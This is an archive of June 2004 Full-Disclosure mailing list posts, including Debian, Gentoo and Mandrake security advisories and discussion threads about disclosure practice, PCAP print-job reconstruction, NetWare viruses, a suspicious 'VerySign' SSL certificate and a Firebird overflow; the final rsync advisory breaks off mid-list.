
 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAvRtfmqjQ0CJFipgRArpPAKCe5Prh9xa8pbQzXLE6m+JwdxbgFwCg651p
YW0+Z6z/hwipDRdWmQ/ABG8=
=eoEM
-----END PGP SIGNATURE-----



From mdz at debian.org  Wed Jun  2 00:59:42 2004
From: mdz at debian.org (Matt Zimmerman)
Date: Tue, 1 Jun 2004 16:59:42 -0700
Subject: [Full-Disclosure] Re: RS-2004-1: SquirrelMail "Content-Type" XSS vulnerability
In-Reply-To: <424qb0hejaasctgams01s0hd8s1roapkc7@4ax.com>
References: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com> <20040601211332.GB1538@lupe-christoph.de> <424qb0hejaasctgams01s0hd8s1roapkc7@4ax.com>
Message-ID: <20040601235942.GS19402@alcor.net>

On Wed, Jun 02, 2004 at 01:49:01AM +0200, Roman Medina wrote:

> In other words, many vendors/developers silently fixes bugs and they don't
> necesarily have to know who is packaging their software and inform them.

Such vendors/developers are doing a their users and the community a
disservice.  Proper public disclosure of vulnerabilities requires very
little effort on their part; there is no good reason to conceal information
this way.  There is no need to contact every downstream vendor directly;
they monitor the usual channels.

-- 
 - mdz



From Ian.Latter at mq.edu.au  Wed Jun  2 04:32:07 2004
From: Ian.Latter at mq.edu.au (Ian Latter)
Date: Wed, 02 Jun 2004 13:32:07 +1000
Subject: [Full-Disclosure] PCAP and LP
Message-ID: <200406020332.i523W9J14307@singularity.tronunltd.com>

Hello,


  Quick question, I'm going through the results of an investigation
and have a PCAP file that contains Line Printing ... I'd like to 
reconstruct the postscript files (or just reprint them), is there a
tool that will allow this? 

  Web searches yield HTTP file reconstructors and NFS file 
reconstructors, but I've been unable to find anything for LP.

  Utility doesn't need to be opensource, free/share ware, but it
would be easiest if it was.


Thanks in advance,



--
Ian Latter
Internet and Networking Security Officer
Macquarie University



From ali at packetknife.com  Wed Jun  2 04:12:19 2004
From: ali at packetknife.com (Ali-Reza Anghaie)
Date: Tue, 01 Jun 2004 23:12:19 -0400
Subject: [Full-Disclosure] PCAP and LP
In-Reply-To: <200406020332.i523W9J14307@singularity.tronunltd.com>
References: <200406020332.i523W9J14307@singularity.tronunltd.com>
Message-ID: <1086145939.3039.5.camel@damascus.packetknife.com>

On Tue, 2004-06-01 at 23:32, Ian Latter wrote:
>   Quick question, I'm going through the results of an investigation
> and have a PCAP file that contains Line Printing ... I'd like to 
> reconstruct the postscript files (or just reprint them), is there a
> tool that will allow this? 

I'm not sure about reconstructing the PS file in a reasonable fashion
(there is a good spec, it's a grokkable format, but it's not easily
regexed in comparison to any other text)...

Perhaps using tcpreplay to push it to a printer would do?

-Ali

--
OpenPGP Key: 030E44E6
--
Was I helpful?: http://svcs.affero.net/rm.php?r=packetknife
--
I wouldn't get out of an electric chair to get in one of these
things. -- Rusty Wallace (on IRL)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040601/ce336589/attachment.bin 

From Ian.Latter at mq.edu.au  Wed Jun  2 07:04:30 2004
From: Ian.Latter at mq.edu.au (Ian Latter)
Date: Wed, 02 Jun 2004 16:04:30 +1000
Subject: [Full-Disclosure] PCAP and LP
Message-ID: <200406020604.i5264V314791@singularity.tronunltd.com>

Hello Ali,


   According to the FAQ, this doesn't look entirely possible;

        [...]
        4.10 Replaying Client Traffic to a Server 

        A common question on the tcpreplay-users list is how 
        does one replay the client side of a connection back to
        a server. Unfortunately, tcpreplay doesn't support this 
        right now. The major problem concerns syncing up TCP
        Seq/Ack numbers which will be different. ICMP also 
        often contains IP header information which would need 
        to be adjusted. About the only thing that could be easy 
        to do is UDP, which isn't usually requested.  
        [...]

        From; http://tcpreplay.sourceforge.net/FAQ.html


  I've had one other suggestion, and that is contacting the author
of "chaosreader" (with greenback or source);

  http://users.tpg.com.au/bdgcvb/chaosreader.html


's'cool ... I'll fish the web a little more and see what comes out ... if
nothing comes out, and I can't make a quick contribution to 
chaosreader, then I'll probably change the target host to acquire
the asset via another protocol (http/smtp/etc).


Thanks all.




----- Original Message -----
>From: "Ali-Reza Anghaie" <ali at packetknife.com>
>To: "Ian Latter" <Ian.Latter at mq.edu.au>
>Subject:  Re: [Full-Disclosure] PCAP and LP
>Date: Tue, 01 Jun 2004 23:12:19 -0400
>
> On Tue, 2004-06-01 at 23:32, Ian Latter wrote:
> >   Quick question, I'm going through the results of an investigation
> > and have a PCAP file that contains Line Printing ... I'd like to 
> > reconstruct the postscript files (or just reprint them), is there a
> > tool that will allow this? 
> 
> I'm not sure about reconstructing the PS file in a reasonable fashion
> (there is a good spec, it's a grokkable format, but it's not easily
> regexed in comparison to any other text)...
> 
> Perhaps using tcpreplay to push it to a printer would do?
> 
> -Ali
> 
> --
> OpenPGP Key: 030E44E6
> --
> Was I helpful?: http://svcs.affero.net/rm.php?r=packetknife
> --
> I wouldn't get out of an electric chair to get in one of these
> things. -- Rusty Wallace (on IRL)
> 

--
Ian Latter
Internet and Networking Security Officer
Macquarie University



From dowlingg at sullcrom.com  Wed Jun  2 06:26:42 2004
From: dowlingg at sullcrom.com (Dowling, Gabrielle)
Date: Wed, 2 Jun 2004 01:26:42 -0400
Subject: [Full-Disclosure] Cleanining viruses from netware
Message-ID: <B7C2C6BA798F3C4DBDD78BEDC1F8AD5709637682@nycmb01.law.sullcrom.com>

The permissions are set in the nwadmin tool, and its not unlike how you set permissions in NT/AD.  It is also a generally easy task to figure out the source of the incursion if the infected files if they haven't been moved into quarantine by checking the properties on them.

Permissions have to be set for the functions required by the hosting process or content residing on the host server which may have specific acls, or lack therof, applie.

Especially where dynamic data creation is involved, there's no good reason not to be running realtime av on netweare servers.  But if you bump into a problem, you can always run a sweep from a different system that is running av by mapping a drive to the netware system and choosing to run a scan on that drive.  

But it would be better to have realtime av on the boxes.  And, you have to treat latent infectious content with a grain of salt if you don't know the mitigating controls in place in your network, largely because of what Nimda did with riched20, and also because you don't know how people might be opening up shares on your network to general "browsing".

G



Best

Gaby

-----Original Message-----
From: Gadi Evron <ge at egotistical.reprehensible.net>
To: Dowling, Gabrielle <dowlingg at sullcrom.com>
CC: full-disclosure at lists.netsys.com <full-disclosure at lists.netsys.com>
Sent: Mon May 31 10:25:29 2004
Subject: Re: [Full-Disclosure] Cleanining viruses from netware

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

| I'm not aware of anything that can actually infect a netware system,
just things that can drop latent infectious content when write rights
are relatively open.

I am not much of a netware guy, can you please explain what I need to
check regarding permissions, and where? What should they be set? What
are you referring to?

I was referring to simply scanning every computer on the network,
however, there were viruses found on file servers with netware shares,
if that is what they are called. Network drives?

	Gadi.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)

iD8DBQFAu0BXqH6NtwbH1FARAq9FAJ9wC5mbuxKMimkVKQZMmIYEfGbGcQCbBcmH
07YT9Gt0q+SqywPZbDEPxKI=
=FwY2
-----END PGP SIGNATURE-----




**********************************************************************
This e-mail is sent by a law firm and contains information
that may be privileged and confidential. If you are not the 
intended recipient, please delete the e-mail and notify us 
immediately. 
***********************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040602/03a633a3/attachment.html 

From krahmer at suse.de  Wed Jun  2 09:26:06 2004
From: krahmer at suse.de (Sebastian Krahmer)
Date: Wed, 2 Jun 2004 10:26:06 +0200 (CEST)
Subject: [Full-Disclosure] VerySign Class 1 Authority - bogus SSL
 certificate?
In-Reply-To: <Pine.WNT.4.58.0406020735390.1728@nightshade>
References: <Pine.WNT.4.58.0406020735390.1728@nightshade>
Message-ID: <Pine.LNX.4.58.0406021021120.20695@wotan.suse.de>

On Wed, 2 Jun 2004, Chris van der Pennen wrote:

Hi,

Depending on your trusted-CA package for your SSL client, this
should not verify. There are various ways to confuse SSL clients.
Especially GUI based web-browsers allow to play tricks where
you cant decide whether you are prompted a correct certificate.
Some do not check the signature at all. If in doubt, if there
is any popup on a HTTPS site, theres someone playing games.
I am going to release slides from a speach regarding that topic soon.
(in german unfortunally)

Sebastian

> I've been getting SSL certificates from various websites recently that are
> apparently from a "VerySign Class 1 Authority" - note the 'y' in VerySign.
> The certificate expired 6 December 2002.
> 
> The data in Issued To and Issued By are identical.
> 
> This smells very much like an SSL hijack attempt - can anyone shed some
> light on the situation?
> 
> Chris
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

-- 
~
~ perl self.pl
~ $_='print"\$_=\47$_\47;eval"';eval
~ krahmer at suse.de - SuSE Security Team
~



From aditya.deshmukh at online.gateway.technolabs.net  Wed Jun  2 04:27:51 2004
From: aditya.deshmukh at online.gateway.technolabs.net (Aditya, ALD [Aditya Lalit Deshmukh])
Date: Wed, 2 Jun 2004 08:57:51 +0530
Subject: [Full-Disclosure] VerySign Class 1 Authority - bogus SSL certificate?
In-Reply-To: <Pine.WNT.4.58.0406020735390.1728@nightshade>
Message-ID: <ELEOLHOJFMBPBFCJHOCICECKEIAA.aditya.deshmukh@online.gateway.technolabs.net>

> I've been getting SSL certificates from various websites recently that are
> apparently from a "VerySign Class 1 Authority" - note the 'y' in VerySign.
> The certificate expired 6 December 2002.

this is a valid attempt 
 
> The data in Issued To and Issued By are identical.

no big deal in this type of cert these certs can be created by anyone, except that verisign cert would not have been accepted by the browser, that is why we have trusted Certifacate authorities which do the validation of the certs.


> This smells very much like an SSL hijack attempt - can anyone shed some
> light on the situation?


if this is your site, please revoke the cert and make a new one or if u know the site owner please alert the site owner as well as versisign 

-aditya


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)



From noamr at beyondsecurity.com  Wed Jun  2 08:43:25 2004
From: noamr at beyondsecurity.com (Noam Rathaus)
Date: Wed, 2 Jun 2004 10:43:25 +0300
Subject: [Full-Disclosure] Firebird Database Remote Database Name Overflow
In-Reply-To: <3CF95025.7090202@secnetops.com>
References: <200406012040.14839.aviram@beyondsecurity.com> <3CF95025.7090202@secnetops.com>
Message-ID: <200406021043.25680.noamr@beyondsecurity.com>

On Sunday 02 June 2002 01:52, KF (lists) wrote:
> So is this firebird specific or does it also impact Borland Interbase
> users?
> -KF
>
We haven't tested Borland's Interbase as we didn't have any installation 
available for testing. However I can assume that since this vulnerability 
appears in version 1.0.2, which is of very close resemblance to Borland's 
Interbase sources, that the vulnerability may also affect it.

-- 
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

Join the SecuriTeam community on Orkut:
http://www.orkut.com/Community.aspx?cmm=44441



From lists2 at onryou.com  Wed Jun  2 13:24:30 2004
From: lists2 at onryou.com (Cory Donnelly)
Date: Wed, 02 Jun 2004 08:24:30 -0400
Subject: [Full-Disclosure] RS-2004-1: SquirrelMail "Content-Type" XSS
 vulnerability
In-Reply-To: <20040601235942.GS19402@alcor.net>
References: <ucdib0lfc67jlcbugut58aqubhbb456dbr@4ax.com> <20040601211332.GB1538@lupe-christoph.de> <424qb0hejaasctgams01s0hd8s1roapkc7@4ax.com> <20040601235942.GS19402@alcor.net>
Message-ID: <40BDC6FE.6060907@onryou.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Matt Zimmerman wrote:
> Such vendors/developers are doing a their users and the community a
> disservice.  Proper public disclosure of vulnerabilities requires very
> little effort on their part; there is no good reason to conceal
> information this way.  There is no need to contact every downstream
> vendor directly; they monitor the usual channels.

- From the shortsighted developer's perspective there are *plenty* of very
compelling reasons to discreetly fix vulnerabilities.

A developer may be wary of losing his/her job should management learn of
the gaff.

A developer's pride may prevent him/her from notifying the appropriate
folks in his/her organization.

A developer may not realize the seriousness of a vulnerability (or may
fix it accidentally).

Management may pressure the developer to keep the changelog positive,
using the argument that all documentation associated with their software
must go through the PR department.

Obviously the world would be a better place if these disclosures were
made (and made consistently), but there are plenty of good reasons
(depending on perspective) to keep quiet about bug fixes.

Regardless, we've strayed off-topic -- Roman's original point about how
backporting security patches to debian-stable only works when
debian-stable backporters are aware of vulnerabilities is absolutely
correct.

take care,

Cory
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)

iD8DBQFAvcb+okBdAgPGOhURAsr6AKC9Tii2d3A1YxE+YEH49UULnTjywQCfdYnF
9ZpToiNm++VzwFH8IvLNBDw=
=/P6/
-----END PGP SIGNATURE-----



From erwinp21 at hotmail.com  Wed Jun  2 12:42:22 2004
From: erwinp21 at hotmail.com (- -)
Date: Wed, 02 Jun 2004 11:42:22 +0000
Subject: [Full-Disclosure] IBM Potential Credential Impersonation Attack paper?
Message-ID: <BAY18-F105fjDMCycJm00064acb@hotmail.com>

Hi List,

I found the following IBM advisory via their outside advisory service:
http://www-1.ibm.com/support/docview.wss?uid=swg21168762

They refer to an externally available paper that identifies a form of 
credential impersonation exploit that can affect multiple IBM products. Does 
anybody know which paper IBM is refering to? I tried google, but I couldn' t 
find anything.

Regards,
Erwin.

_________________________________________________________________
Getting married? Find great tips, tools and the latest trends at MSN Life 
Events. http://lifeevents.msn.com/category.aspx?cid=married



From brendan.gregg at tpg.com.au  Wed Jun  2 15:49:52 2004
From: brendan.gregg at tpg.com.au (Brendan Gregg)
Date: Thu, 3 Jun 2004 00:49:52 +1000 (EST)
Subject: [Full-Disclosure] PCAP and LP
In-Reply-To: <20040530080007.846.75274.Mailman@NETSYS.COM>
Message-ID: <Pine.GSO.4.33.0406030015300.27114-100000@mars.drinks.com>

G'Day Ian,

----- Original Message -----
> From: Ian Latter (Ian.Latter_at_mq.edu.au)
> Date: Jun 01 2004
>
> Hello Ali,
>
>    According to the FAQ, this doesn't look entirely possible;
>
>         [...]
>         4.10 Replaying Client Traffic to a Server
>
>         A common question on the tcpreplay-users list is how
>         [...]
>
>         From; http://tcpreplay.sourceforge.net/FAQ.html
>
>   I've had one other suggestion, and that is contacting the author
> of "chaosreader" (with greenback or source);
>
>   http://users.tpg.com.au/bdgcvb/chaosreader.html
>
> 's'cool ... I'll fish the web a little more and see what comes out ... if
> nothing comes out, and I can't make a quick contribution to
> chaosreader, then I'll probably change the target host to acquire
> the asset via another protocol (http/smtp/etc).
>

Chaosreader can retrieve print jobs with a little help,

# snoop -o /tmp/out1 port 515
  Using device /dev/hme (promiscuous mode)
  205 ^C
#
# ../chaosreader -v /tmp/out1
  Chaosreader ver 0.94

  Opening, /tmp/out1

  Reading file contents,
   100% (251376/251376)
  Reassembling packets,
   100% (205/205)

  Creating files...
     Num  Session (host:port <=> host:port)              Service
    0001  192.168.1.5:1021,192.168.1.1:515               printer

  index.html created.
#
# ls -l *.raw*
  -rw-r--r--   1 brendan   231678 Jun  3 00:21 session_0001.printer.raw
  -rw-r--r--   1 brendan        5 Jun  3 00:21 session_0001.printer.raw1
  -rw-r--r--   1 brendan   231673 Jun  3 00:21 session_0001.printer.raw2


Now if I "vi session_0001.printer.raw2" and remove the top 2 and bottom
9 lines, I have the original PostScript file (cksums ok). (Your capture
may vary a little, but it should be obvious where the PostScript begins
and ends).


Or if I didn't want to use vi,

# perl -e 'push(@A,$_) while(<>); print @A[2..($#A-10)]' \
	session_0001.printer.raw2 > lp.ps


It would be nice if Chaosreader automatically did this - I guess I
should add it for the next release.

If anyone would like to make a quick contribution you are welcome
to send me small sample capture files (snoop or tcpdump). :)

PS. the most stable link is,
http://www.brendangregg.com/chaosreader.html

no worries,

Brendan Gregg

[Sydney, Australia]


> ----- Original Message -----
> >From: "Ali-Reza Anghaie" <ali_at_packetknife.com>
> >To: "Ian Latter" <Ian.Latter_at_mq.edu.au>
> >Subject: Re: [Full-Disclosure] PCAP and LP
> >Date: Tue, 01 Jun 2004 23:12:19 -0400
> >
> > On Tue, 2004-06-01 at 23:32, Ian Latter wrote:
> > > Quick question, I'm going through the results of an investigation
> > > and have a PCAP file that contains Line Printing ... I'd like to
> > > reconstruct the postscript files (or just reprint them), is there a
> > tool that will allow this?
[...]



From tpohl at computerbild.de  Wed Jun  2 17:14:42 2004
From: tpohl at computerbild.de (tpohl at computerbild.de)
Date: Wed, 2 Jun 2004 18:14:42 +0200
Subject: [Full-Disclosure] Autoreply: Full-Disclosure digest, Vol 1 #1685 - 26 msgs
Message-ID: <B0011747173@>

Ich bin bis zum 07.06.2004 nicht im Hause. In dringenden F?llen bitte 
die 040/347-28000 anrufen.
 
Ihre Mail wird nicht weitergeleitet!
 
Mit freundlichen Gr??en
 
Thomas Pohl
ASmediaSystems
Operations
DCS Computerbild
 
Axel Springer AG
Axel-Springer-Platz 1
20350 Hamburg
Tel.: +49 40 347 26301
Fax: +49 40 347 16301
Thomas.Pohl at axelspringer.de




From Valdis.Kletnieks at vt.edu  Wed Jun  2 17:45:09 2004
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 02 Jun 2004 12:45:09 -0400
Subject: [Full-Disclosure] VerySign Class 1 Authority - bogus SSL certificate? 
In-Reply-To: Your message of "Wed, 02 Jun 2004 07:39:31 +0930."
             <Pine.WNT.4.58.0406020735390.1728@nightshade> 
References: <Pine.WNT.4.58.0406020735390.1728@nightshade>
Message-ID: <200406021645.i52Gj9F9012756@turing-police.cc.vt.edu>

On Wed, 02 Jun 2004 07:39:31 +0930, Chris van der Pennen <chris at sw.gotdns.org>  said:
> I've been getting SSL certificates from various websites recently that are
> apparently from a "VerySign Class 1 Authority" - note the 'y' in VerySign.
> The certificate expired 6 December 2002.

> The data in Issued To and Issued By are identical.

> This smells very much like an SSL hijack attempt - can anyone shed some
> light on the situation?

Or some webserver package that builds a self-signed certificate so SSL works
without having to pay Verisign, and does so in a "cute" manner that users are
likely to accept the cert without thinking about it. It's probably NOT a hijack
attempt unless you have *OTHER* evidence of that (phishy-looking redirect
javascript on the page, etc....)

Given how little *real* security a signed cert creates, it's probably not worth
worrying about.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040602/9f452906/attachment.bin 

From nicola at delvacchio.it  Wed Jun  2 18:26:58 2004
From: nicola at delvacchio.it (Nicola Del Vacchio)
Date: Wed, 02 Jun 2004 19:26:58 +0200
Subject: [Full-Disclosure] VerySign Class 1 Authority - bogus SSL
	certificate?
In-Reply-To: <200406021645.i52Gj9F9012756@turing-police.cc.vt.edu>
References: <Pine.WNT.4.58.0406020735390.1728@nightshade>
	 <200406021645.i52Gj9F9012756@turing-police.cc.vt.edu>
Message-ID: <1086197218.2916.16.camel@localhost>

it seems to me the fake certificates that a tool like ettercap iussues.

compare whith this (fake) verificate.

cheers
nicola del vacchio
security consultant 
genova italy
nicola at delvacchio.it



Il mer, 2004-06-02 alle 18:45, Valdis.Kletnieks at vt.edu ha scritto:
> On Wed, 02 Jun 2004 07:39:31 +0930, Chris van der Pennen <chris at sw.gotdns.org>  said:
> > I've been getting SSL certificates from various websites recently that are
> > apparently from a "VerySign Class 1 Authority" - note the 'y' in VerySign.
> > The certificate expired 6 December 2002.
> 
> > The data in Issued To and Issued By are identical.
> 
> > This smells very much like an SSL hijack attempt - can anyone shed some
> > light on the situation?
> 
> Or some webserver package that builds a self-signed certificate so SSL works
> without having to pay Verisign, and does so in a "cute" manner that users are
> likely to accept the cert without thinking about it. It's probably NOT a hijack
> attempt unless you have *OTHER* evidence of that (phishy-looking redirect
> javascript on the page, etc....)
> 
> Given how little *real* security a signed cert creates, it's probably not worth
> worrying about.
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: fake-verisign-ca1.cer
Type: application/x-x509-ca-cert
Size: 691 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040602/22ecfade/attachment.bin 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Questa parte del messaggio =?ISO-8859-1?Q?=E8?= firmata
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040602/22ecfade/attachment-0001.bin 

From debian-security-announce at lists.debian.org  Wed Jun  2 18:29:18 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Wed, 2 Jun 2004 10:29:18 -0700
Subject: [Full-Disclosure] [SECURITY] [DSA 512-1] New gallery packages fix unauthenticated access
Message-ID: <20040602172918.GL19402@alcor.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 512-1                     security at debian.org
http://www.debian.org/security/                             Matt Zimmerman
June 2nd, 2004                          http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : gallery
Vulnerability  : unauthenticated access
Problem-Type   : remote
Debian-specific: no

A vulnerability was discovered in gallery, a web-based photo album
written in php, whereby a remote attacker could gain access to the
gallery "admin" user without proper authentication.  No CVE candidate
was available for this vulnerability at the time of release.

For the current stable distribution (woody), these problems have been
fixed in version 1.2.5-8woody2.

For the unstable distribution (sid), these problems have been fixed in
version 1.4.3-pl2-1.

We recommend that you update your gallery package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/g/gallery/gallery_1.2.5-8woody2.dsc
      Size/MD5 checksum:      573 1369280ce34db40a941ef4fae6f107a5
    http://security.debian.org/pool/updates/main/g/gallery/gallery_1.2.5-8woody2.diff.gz
      Size/MD5 checksum:     7575 109d81ad481a7b6a197b5dd5b2a3eeaf
    http://security.debian.org/pool/updates/main/g/gallery/gallery_1.2.5.orig.tar.gz
      Size/MD5 checksum:   132099 1a32e57b36ca06d22475938e1e1b19f9

  Architecture independent components:

    http://security.debian.org/pool/updates/main/g/gallery/gallery_1.2.5-8woody2_all.deb
      Size/MD5 checksum:   137412 ebae6be30fe04acb993da74c9f54dcf0

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAvg5kArxCt0PiXR4RAkWQAJ0beIP5URU0Wtz6oS21R35UniV8wwCgxUd2
SjSIIooMEHZjCAK2Lyxuc78=
=x+ya
-----END PGP SIGNATURE-----



From koon at gentoo.org  Wed Jun  2 19:05:13 2004
From: koon at gentoo.org (Thierry Carrez)
Date: Wed, 02 Jun 2004 20:05:13 +0200
Subject: [Full-Disclosure] ERRATA: [ GLSA 200405-25 ] tla: Multiple vulnerabilities in included
 libneon
Message-ID: <40BE16D9.7000605@gentoo.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [ERRATA UPDATE]        GLSA 200405-25:02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: tla: Multiple vulnerabilities in included libneon
      Date: June 2, 2004
      Bugs: #51586
        ID: 200405-25:02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Errata
======

The fixed ebuild proposed in the original version of this Security
Advisory did not address all the vulnerabilities of the tla package.
All users of the tla package should upgrade to dev-util/tla-1.2-r2.
The corrected sections appear below.

Affected packages
=================

    -------------------------------------------------------------------
     Package       /    Vulnerable    /                     Unaffected
    -------------------------------------------------------------------
  1  dev-util/tla        <= 1.2-r1                           >= 1.2-r2
     dev-util/tla      == 1.2.1_pre1                         >= 1.2-r2

Description
===========

Multiple format string vulnerabilities and a heap overflow
vulnerability were discovered in the code of the neon library (GLSA
200405-01 and 200405-13). Current versions of the tla package include
their own version of this library.

Resolution
==========

All users of tla should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=dev-util/tla-1.2-r2"
    # emerge ">=dev-util/tla-1.2-r2"

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200405-25.xml

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAvhbZvcL1obalX08RAjK1AKCRDB8GQ7OEplG5CyZhrMltMNDzBACfZhEs
U6ErjQqSEonelS5vE3aKy5I=
=EAkW
-----END PGP SIGNATURE-----



From debian-security-announce at lists.debian.org  Wed Jun  2 20:09:04 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Wed, 2 Jun 2004 12:09:04 -0700
Subject: [Full-Disclosure] [SECURITY] [DSA 499-2] New rsync packages fix directory traversal bug
Message-ID: <20040602190904.GQ19402@alcor.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 499-2                     security at debian.org
http://www.debian.org/security/                             Matt Zimmerman
June 2nd, 2004                          http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : rsync
Vulnerability  : directory traversal
Problem-Type   : remote
Debian-specific: no
CVE Ids        : CAN-2004-0426

A vulnerability was discovered in rsync, a file transfer program,
whereby a remote user could cause an rsync daemon to write files
outside of the intended directory tree.  This vulnerability is not
exploitable when the daemon is configured with the 'chroot' option.

This update includes an additional fix related to the original
vulnerability.

For the current stable distribution (woody) this problem has been
fixed in version 2.5.5-0.5.

For the unstable distribution (sid), this problem has been fixed in
version 2.6.1-1.

We recommend that you update your rsync package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5.dsc
      Size/MD5 checksum:      545 94568a0080459dd6d8d84470a462b7dc
    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5.diff.gz
      Size/MD5 checksum:    92695 66730a221c5d2d175ea9f58b0a1bac86
    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5.orig.tar.gz
      Size/MD5 checksum:   415156 39d76c62684750842d3884a77c2e5466

  Alpha architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_alpha.deb
      Size/MD5 checksum:   227712 cc3046698f1aa151efdccc1dce1cb9f4

  ARM architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_arm.deb
      Size/MD5 checksum:   206610 2cbcbb999e404b8d65167fe1dc540c52

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_i386.deb
      Size/MD5 checksum:   194854 62116c48c3ed4d29e110b35b92046761

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_ia64.deb
      Size/MD5 checksum:   255716 90e274e9a84ab1703fe36bffee656712

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_hppa.deb
      Size/MD5 checksum:   214430 0e0ec89aeeb8e24335b1f8baf933bc6d

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_m68k.deb
      Size/MD5 checksum:   190008 9ac8acc88490fd3337a1a588702f0a2c

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_mips.deb
      Size/MD5 checksum:   216470 fca9b734baf43b434e0bae182b879a6a

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_mipsel.deb
      Size/MD5 checksum:   216746 1ca2e9a76353d4c30f0137cc6c385177

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_powerpc.deb
      Size/MD5 checksum:   205832 c9f08359ae6453e7f31b907aaa7dd960

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_s390.deb
      Size/MD5 checksum:   205090 0f9013705deb8a7c70b3d3a3995b722b

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/r/rsync/rsync_2.5.5-0.5_sparc.deb
